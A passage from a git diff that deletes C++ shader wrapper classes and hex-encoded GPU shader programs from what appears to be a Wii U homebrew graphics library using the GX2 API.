fetchShaderProgramm, attrCount, attributes, type, tess); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, fetchShaderProgramm, shaderSize); - } - } - virtual ~FetchShader() { - if(fetchShaderProgramm) - free(fetchShaderProgramm); - if(fetchShader) - delete fetchShader; - } - - GX2FetchShader *getFetchShader() const { - return fetchShader; - } - - void setShader(void) const { - GX2SetFetchShader(fetchShader); - } - -protected: - GX2FetchShader *fetchShader; - uint8_t *fetchShaderProgramm; -}; - -#endif // FETCH_SHADER_H diff --git a/src/video/shaders/PixelShader.h b/src/video/shaders/PixelShader.h deleted file mode 100644 index 8bb8a8e..0000000 --- a/src/video/shaders/PixelShader.h +++ /dev/null @@ -1,150 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef PIXEL_SHADER_H -#define PIXEL_SHADER_H - -#include "Shader.h" - -class PixelShader : public Shader -{ -public: - PixelShader() - : pixelShader((GX2PixelShader*) memalign(0x40, sizeof(GX2PixelShader))) - { - if(pixelShader) - { - memset(pixelShader, 0, sizeof(GX2PixelShader)); - pixelShader->mode = GX2_SHADER_MODE_UNIFORM_REGISTER; - } - } - virtual ~PixelShader() - { - if(pixelShader) - { - if(pixelShader->program) - free(pixelShader->program); - - for(u32 i = 0; i < pixelShader->uniformBlockCount; i++) - free((void*)pixelShader->uniformBlocks[i].name); - - if(pixelShader->uniformBlocks) - free((void*)pixelShader->uniformBlocks); - - for(u32 i = 0; i < pixelShader->uniformVarCount; i++) - free((void*)pixelShader->uniformVars[i].name); - - if(pixelShader->uniformVars) - free((void*)pixelShader->uniformVars); - - if(pixelShader->initialValues) - free((void*)pixelShader->initialValues); - - for(u32 i = 0; i < pixelShader->samplerVarCount; i++) - free((void*)pixelShader->samplerVars[i].name); - - if(pixelShader->samplerVars) - free((void*)pixelShader->samplerVars); - - if(pixelShader->loopVars) - free((void*)pixelShader->loopVars); - - free(pixelShader); - } - } - - void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize) - { - if(!pixelShader) - return; - - //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 - pixelShader->size = programSize; - pixelShader->program = (u8*)memalign(GX2_SHADER_ALIGNMENT, pixelShader->size); - if(pixelShader->program) - { - memcpy(pixelShader->program, program, pixelShader->size); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, pixelShader->program, pixelShader->size); - } - - memcpy(&pixelShader->regs, regs, regsSize); - } - - void addUniformVar(const GX2UniformVar & var) - { - if(!pixelShader) - return; - - u32 idx = pixelShader->uniformVarCount; - - GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniformVarCount + 1) * sizeof(GX2UniformVar)); - if(newVar) - { - if(pixelShader->uniformVars) - { - memcpy(newVar, pixelShader->uniformVars, pixelShader->uniformVarCount * sizeof(GX2UniformVar)); - free(pixelShader->uniformVars); - } - pixelShader->uniformVars = newVar; - - memcpy(pixelShader->uniformVars + idx, &var, sizeof(GX2UniformVar)); - pixelShader->uniformVars[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)pixelShader->uniformVars[idx].name, var.name); - - pixelShader->uniformVarCount++; - } - } - - void addSamplerVar(const GX2SamplerVar & var) - { - if(!pixelShader) - return; - - u32 idx = pixelShader->samplerVarCount; - - GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->samplerVarCount + 1) * sizeof(GX2SamplerVar)); - if(newVar) - { - if(pixelShader->samplerVars) - { - memcpy(newVar, pixelShader->samplerVars, pixelShader->samplerVarCount * sizeof(GX2SamplerVar)); - free(pixelShader->samplerVars); - } - pixelShader->samplerVars = newVar; - - memcpy(pixelShader->samplerVars + idx, &var, sizeof(GX2SamplerVar)); - pixelShader->samplerVars[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)pixelShader->samplerVars[idx].name, var.name); - - pixelShader->samplerVarCount++; - } - } - GX2PixelShader * getPixelShader() const { - return pixelShader; - } - - void setShader(void) const { - GX2SetPixelShader(pixelShader); - } - - static inline void setUniformReg(u32 location, u32 size, const void * reg) { - GX2SetPixelUniformReg(location, size, (uint32_t *)reg); - } -protected: - GX2PixelShader *pixelShader; -}; - -#endif // PIXEL_SHADER_H diff --git a/src/video/shaders/Shader.h b/src/video/shaders/Shader.h deleted file mode 100644 index 2c4f580..0000000 --- a/src/video/shaders/Shader.h +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef SHADER_H_ -#define SHADER_H_ - -#include "glm/glm.hpp" -#include "glm/gtc/matrix_transform.hpp" -#include "utils/utils.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include "common/gx2_ext.h" - -class Shader -{ -protected: - Shader() {} - virtual ~Shader() {} -public: - static const u16 cuVertexAttrSize = sizeof(f32) * 3; - static const u16 cuTexCoordAttrSize = sizeof(f32) * 2; - static const u16 cuColorAttrSize = sizeof(u8) * 4; - - static void setLineWidth(const f32 & width) { - GX2SetLineWidth(width); - } - - static void draw(s32 primitive = GX2_PRIMITIVE_MODE_QUADS, u32 vtxCount = 4) - { - switch(primitive) - { - default: - case GX2_PRIMITIVE_MODE_QUADS: - { - GX2DrawEx(GX2_PRIMITIVE_MODE_QUADS, vtxCount, 0, 1); - break; - } - case GX2_PRIMITIVE_MODE_TRIANGLES: - { - GX2DrawEx(GX2_PRIMITIVE_MODE_TRIANGLES, vtxCount, 0, 1); - break; - } - case GX2_PRIMITIVE_MODE_TRIANGLE_FAN: - { - GX2DrawEx(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, vtxCount, 0, 1); - break; - } - case GX2_PRIMITIVE_MODE_LINES: - { - GX2DrawEx(GX2_PRIMITIVE_MODE_LINES, vtxCount, 0, 1); - break; - } - case GX2_PRIMITIVE_MODE_LINE_STRIP: - { - GX2DrawEx(GX2_PRIMITIVE_MODE_LINE_STRIP, vtxCount, 0, 1); - break; - } - //! TODO: add other primitives later - }; - } -}; - -#endif // SHADER_H_ diff --git a/src/video/shaders/Shader3D.cpp b/src/video/shaders/Shader3D.cpp deleted file mode 100644 index 0824be6..0000000 --- a/src/video/shaders/Shader3D.cpp +++ /dev/null @@ -1,266 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "Shader3D.h" - -static const u32 cpVertexShaderProgram[] = -{ - 0x00000000,0x00008009,0x20000000,0x0000e4a1, - 0x00c00100,0x88048093,0x01c00300,0x98060014, - 0x9a000000,0x000058a0,0x3c200200,0x88062094, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, - 0x01081f00,0x900ce040,0x01041f00,0x900ce060, - 0x01001f80,0x900ce000,0x02001f00,0x900c6000, - 0x02041f00,0x900c6020,0x076da101,0x9000e04f, - 0x0769a181,0x9000e06f,0x0745a101,0x9000c00f, - 0x0741a181,0x9000c02f,0x074da101,0x9000c04f, - 0x0749a181,0x9000c06f,0x0bc9a000,0x7f00e20f, - 0x0bc92080,0x7f04e22f,0x0bc9a001,0x7f08e24f, - 0x0bc92081,0x7f0ce26f,0x0725a101,0x9000a00f, - 0x0721a181,0x9000a02f,0x072da101,0x9000a04f, - 0x0729a181,0x9000a06f,0x0ac9a000,0x7e00c20f, - 0x0ac92080,0x7e04c22f,0x0ac9a001,0x7e08c24f, - 0x0ac92081,0x7e0cc26f,0x0ba5a000,0x7f00e20f, - 0x0ba52080,0x7f04e22f,0x0ba5a001,0x7f08e24f, - 0x0ba52081,0x7f0ce26f,0x08eda000,0x9000800f, - 0x08ed2080,0x9000802f,0x08eda001,0x9000804f, - 0x08ed2081,0x9000806f,0x09c9a000,0x7d00a20f, - 0x09c92080,0x7d04a22f,0x09c9a001,0x7d08a24f, - 0x09c92081,0x7d0ca26f,0x0aa5a000,0x7e00c20f, - 0x0aa52080,0x7e04c22f,0x0aa5a001,0x7e08c24f, - 0x0aa52081,0x7e0cc26f,0x0b81a000,0x7f004200, - 0x0b812080,0x7f044220,0x0b81a001,0x7f082240, - 0x0b812081,0x7f0c0260,0x08c9a000,0x7c00820f, - 0x08c92080,0x7c04822f,0x08c9a001,0x7c08824f, - 0x08c92081,0x7c0c826f,0x09a5a000,0x7d00a20f, - 0x09a52080,0x7d04a22f,0x09a5a001,0x7d08a24f, - 0x09a52081,0x7d0ca26f,0x0a81a000,0x7e000200, - 0x0a812080,0x7e040220,0x0a81a001,0x7e080240, - 0x0a812081,0x7e0c2260,0x0240a001,0x9000c00f, - 0x0244a001,0x9000c02f,0x0148a001,0x9000c04f, - 0x004ca001,0x9000c06f,0x0264a081,0x9000e02f, - 0x0260a001,0x9000e00f,0x0224a001,0x90002020, - 0x0168a001,0x9000e04f,0x006ca001,0x9000e06f, - 0x0220a081,0x90002000,0x08a5a000,0x7c00820f, - 0x08a52080,0x7c04822f,0x08a5a001,0x7c08824f, - 0x08a52081,0x7c0c826f,0x0981a000,0x7d008200, - 0x09812080,0x7d048220,0x0981a001,0x7d084240, - 0x09812081,0x7d0c4260,0x02090000,0x7e00c20f, - 0x02098000,0x7e04c22f,0x0128a001,0x9000a04f, - 0x002ca001,0x9000c06f,0x02298081,0x7e0caa6f, - 0x03090000,0x7f00e20f,0x03098000,0x7f04e22f, - 0x02090001,0x7e08f64f,0x03298001,0x7f0ce26f, - 0x03090081,0x7f08ca4f,0x0881a000,0x7c00c200, - 0x08812080,0x7c04e220,0x0881a001,0x7c08a240, - 0x08812081,0x7c0c8260,0x0200a001,0x9000800f, - 0x0204a001,0x9000802f,0x0108a001,0x9000804f, - 0x000ca001,0x9000806f,0x01098080,0x0104aa2f, - 0x01090000,0x0100a20f,0x02858000,0x7e04c22f, - 0x01090001,0x7d08a24f,0x01298081,0x7e0cc26f, - 0x02850000,0x7e00f60f,0x03858000,0x7f04622f, - 0x02450001,0x7f08e24f,0x02458001,0x7d0ca26f, - 0x03850080,0x7f00ca0f,0x00090000,0x7c004200, - 0x00098000,0x7c04b220,0x03450001,0x7e08c24f, - 0x03458001,0x7f0ce26f,0x03e18080,0xfe042620, - 0x01850000,0x7d00a200,0x01858000,0x7d04622f, - 0x00090001,0x7c086240,0x00298081,0x7c0c0260, - 0x02c10000,0x7f000200,0x02e18000,0x7e040620, - 0x01450001,0x7d088240,0x01458001,0x7e0c6260, - 0x01e18080,0xfe04c620,0x03c10000,0x7e002200, - 0x03818001,0x7f0c4220,0x02a10001,0x7f081640, - 0x02818001,0x7d0c3660,0x03a10081,0x7e082a40, - 0x07080000,0x0100c20f,0x07088000,0x0104622f, - 0x00458001,0x000cea4f,0x07288081,0x0204f66f, - 0x00850000,0x0200620f,0x00858000,0x05046a2f, - 0x07080001,0x0108c24f,0x01818001,0x030c726f, - 0x07cc8080,0xfe04c22f,0x01c10000,0x0500660f, - 0x00e18000,0xfe04622f,0x00450001,0x0308624f, - 0x07cc9f01,0x7f0ce26f,0x00c10080,0xfe00e60f, - 0x07cc1f00,0x7e00660f,0x00a10001,0xfe08c22f, - 0x01a10001,0x0408624f,0x00818001,0x7f086a6f, - 0x07c09f80,0x7e048200,0x07e00f00,0xfe008220, - 0x07cc1f01,0x7e086a4f,0x07c09f81,0x7f0c8240, - 0x07c08f80,0xfe088260,0x2c34800d,0xe3b4f15e, - 0x7642ed30,0x7408600d -}; - -static const u32 cpVertexShaderRegs[] = { - 0x00000108,0x00000000,0x00000002,0x00000001, - 0xffff0001,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0x00000000,0xfffffffc, - 0x00000002,0x00000000,0x00000001,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x00000000,0x0000000e,0x00000010 -}; - -static const u32 cPixelShaderProgram[] = -{ - 0x20000000,0x000008a4,0x03000000,0x01004085, - 0x23000000,0x000044a8,0x35000000,0x000000a4, - 0x06000000,0x01004085,0x36000000,0x00002ca8, - 0x50000000,0x0000c080,0x42000000,0x00001ca0, - 0x00800000,0x88062094,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0xfd001f80,0x900c0060,0x0000803f,0x00000000, - 0x02011f80,0x8c110000,0xf8402000,0x9006a00f, - 0x02552001,0x00000020,0x01248082,0x80020060, - 0xfe3c1f00,0x1000e04f,0xfe041f80,0x1033c00f, - 0xfe482081,0x80060020,0xfee40f81,0x0289e30f, - 0x02c51f80,0x80060060,0xfeec0f80,0x0285634f, - 0xfec80f80,0x80000060,0xfe4ca081,0x9000e04f, - 0xfe281f00,0x80060000,0xf8c01f81,0x9006e02f, - 0xfee00f81,0xfd80636f,0x0000803f,0x00000000, - 0x7fc49f81,0xf880e34f,0xfe381f80,0x00000000, - 0x7de00f81,0xfe800360,0x01011f80,0x8c100000, - 0x00a81f00,0x9000e02f,0x00000082,0x80020060, - 0x00002040,0x00000000,0xfeac9f80,0xfd00624f, - 0x3333333f,0x00002040,0xfee88f80,0x0101620f, - 0x00cc1f80,0x9000e06f,0xf8c09f01,0x80060020, - 0xfe2c1f80,0x9006e04f,0xfee48f81,0xf880630f, - 0x7fc81f80,0xfd800360,0x0000803f,0x00000000, - 0x000ca001,0x80000000,0x00091f00,0x800c0020, - 0x00051f00,0x800c0040,0x00011f80,0x800c0060, - 0xfe2c0000,0x90002000,0xfe288000,0x90002020, - 0xfe240001,0x90002040,0xfe208081,0x90002060, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x10000100,0x01100df0,0x00008010,0xecdfea0d, - 0x99720984,0x041cab0d,0xa28a9ccd,0x95d199a5 -}; -static const u32 cPixelShaderRegs[] = { - 0x00000102,0x00000002,0x14000002,0x00000000, - 0x00000002,0x00000100,0x00000101,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x0000000f,0x00000001,0x00000010, - 0x00000000 -}; - -Shader3D * Shader3D::shaderInstance = NULL; - -Shader3D::Shader3D() - : vertexShader(cuAttributeCount) -{ - //! create pixel shader - pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs)); - - colorIntensityLocation = 0; - fadeDistanceLocation = 4; - fadeOutLocation = 8; - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_SHADER_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, -1 }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_SHADER_VAR_TYPE_FLOAT4, 1, fadeOutLocation, -1 }); - - samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); - - //! create vertex shader - vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); - - modelMatrixLocation = 0; - projectionMatrixLocation = 16; - viewMatrixLocation = 32; - vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, modelMatrixLocation, -1 }); - vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, projectionMatrixLocation, -1 }); - vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, viewMatrixLocation, -1 }); - - positionLocation = 0; - texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT4, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); - - //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); - - //! create fetch shader - fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); - - //! initialize default quad texture vertexes as those are very commonly used - //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 - posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); - texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); - - //! position vertex structure and texture coordinate vertex structure - int i = 0; - posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); - - i = 0; - texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; - texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); -} - -Shader3D::~Shader3D() -{ - if(posVtxs) - { - free(posVtxs); - posVtxs = NULL; - } - if(texCoords) - { - free(texCoords); - texCoords = NULL; - } - - delete fetchShader; - fetchShader = NULL; -} diff --git a/src/video/shaders/Shader3D.h b/src/video/shaders/Shader3D.h deleted file mode 100644 index 1b30b3f..0000000 --- a/src/video/shaders/Shader3D.h +++ /dev/null @@ -1,119 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef SHADER_3D_H_ -#define SHADER_3D_H_ - -#include "VertexShader.h" -#include "PixelShader.h" -#include "FetchShader.h" - -class Shader3D : public Shader -{ -private: - Shader3D(); - virtual ~Shader3D(); - - static Shader3D * shaderInstance; - - static const unsigned char cuAttributeCount = 2; - static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; - static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; - - FetchShader *fetchShader; - VertexShader vertexShader; - PixelShader pixelShader; - - f32 *posVtxs; - f32 *texCoords; - - u32 modelMatrixLocation; - u32 viewMatrixLocation; - u32 projectionMatrixLocation; - u32 positionLocation; - u32 texCoordLocation; - - u32 colorIntensityLocation; - u32 fadeDistanceLocation; - u32 fadeOutLocation; - u32 samplerLocation; -public: - static Shader3D *instance() { - if(!shaderInstance) { - shaderInstance = new Shader3D(); - } - return shaderInstance; - } - static void destroyInstance() { - if(shaderInstance) { - delete shaderInstance; - shaderInstance = NULL; - } - } - - void setShaders(void) const - { - fetchShader->setShader(); - vertexShader.setShader(); - pixelShader.setShader(); - } - - void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL) const - { - if(posVtxs_in && texCoords_in && vtxCount) - { - VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); - VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); - } - else { - //! use default quad vertex and texture coordinates if nothing is passed - VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); - VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); - } - } - - void setProjectionMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); - } - void setViewMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); - } - void setModelViewMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); - } - void setColorIntensity(const glm::vec4 & vec) - { - PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); - } - void setAlphaFadeOut(const glm::vec4 & vec) - { - PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); - } - void setDistanceFadeOut(const float & value) - { - PixelShader::setUniformReg(fadeDistanceLocation, 4, &value); - } - - void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); - GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); - } -}; - -#endif // SHADER_3D_H_ diff --git a/src/video/shaders/Texture2DShader.cpp b/src/video/shaders/Texture2DShader.cpp deleted file mode 100644 index a1973da..0000000 --- a/src/video/shaders/Texture2DShader.cpp +++ /dev/null @@ -1,271 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "Texture2DShader.h" - -static const u32 cpVertexShaderProgram[] = -{ - 0x00000000,0x00008009,0x20000000,0x000080a0, - 0x3c200100,0x88060094,0x00400000,0x88042014, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x02290001,0x80000000,0x02041f00,0x900c0020, - 0x00a11f00,0xfc00624f,0xfd041f00,0x900c4060, - 0x02001f80,0x900c0000,0x83f9223e,0x0000803f, - 0xfe081f00,0x00080020,0xfe202081,0x10004040, - 0xfea49f80,0xfd00620f,0xdb0f49c0,0xdb0fc940, - 0xfea01f80,0x9000e06f,0x83f9223e,0x00000000, - 0xfe0c1f80,0x00370000,0xffa01f00,0x80000040, - 0xff101f00,0x800c0060,0x7f0c1f80,0x80370040, - 0x0000103f,0x00000000,0xffa01f00,0x80000000, - 0xff001f00,0x800c0020,0x02c51f01,0x80000040, - 0xfeac9f80,0x80000060,0x0000103f,0x398ee33f, - 0xfea01f00,0x80000000,0x02c19f01,0x9000e02f, - 0x01c41f01,0x9000e04f,0x02c59f80,0x80000060, - 0x398ee33f,0x00000000,0x01c49f01,0x80000020, - 0x02c11f80,0x80000040,0x01e08f00,0xfe04624f, - 0x01c01f81,0x7f08626f,0xfe2c2000,0x10004000, - 0xfe28a080,0x10004020,0xeb825790,0xb6f711be, - 0x7c0e2df2,0x81173cfa -}; - -static const u32 cpVertexShaderRegs[] = { - 0x00000103,0x00000000,0x00000000,0x00000001, - 0xffffff00,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0x00000000,0xfffffffc, - 0x00000002,0x00000000,0x00000001,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x00000000,0x0000000e,0x00000010 -}; - -static const u32 cPixelShaderProgram[] = -{ - 0x20000000,0x00000ca4,0x0b000000,0x00000085, - 0x24000000,0x000050a0,0xb0000000,0x000cc080, - 0x39000000,0x00005ca0,0xb8000000,0x000cc080, - 0x51000000,0x000078a0,0xc0000000,0x000cc080, - 0x70000000,0x000064a0,0xc8000000,0x0008c080, - 0x8a000000,0x00005ca0,0x0e000000,0x01008086, - 0xce000000,0x0000c080,0xa2000000,0x00000ca8, - 0x00800000,0x88062094,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00051f00,0x80060000,0x00011f80,0x80060040, - 0xfec81f80,0xfb802320,0x01041f80,0x8c220000, - 0x00a41f00,0xfc10620f,0x010d1f00,0x900c0021, - 0x00091f00,0x80060040,0x00a01f80,0xfc10626f, - 0x00000040,0x00000000,0xfe080000,0xfe8cc300, - 0xfe088080,0xfe80c320,0x00a11f00,0xfe000200, - 0x00a51f00,0xfe040220,0x00a19f00,0xfe000240, - 0x00a59f00,0xfe040260,0x00a11f81,0xfe002600, - 0x4260e5bc,0xa69bc4bc,0x0ad7a3bc,0x00000000, - 0x00a11f00,0x06004200,0x00a59f00,0x06042220, - 0x00a51f00,0x06044240,0x00a11f01,0x06008260, - 0x00a51f81,0x06048620,0x6f1283bc,0x0ad7a3bc, - 0xa69b44bc,0x00000000,0x00a41f00,0x80000000, - 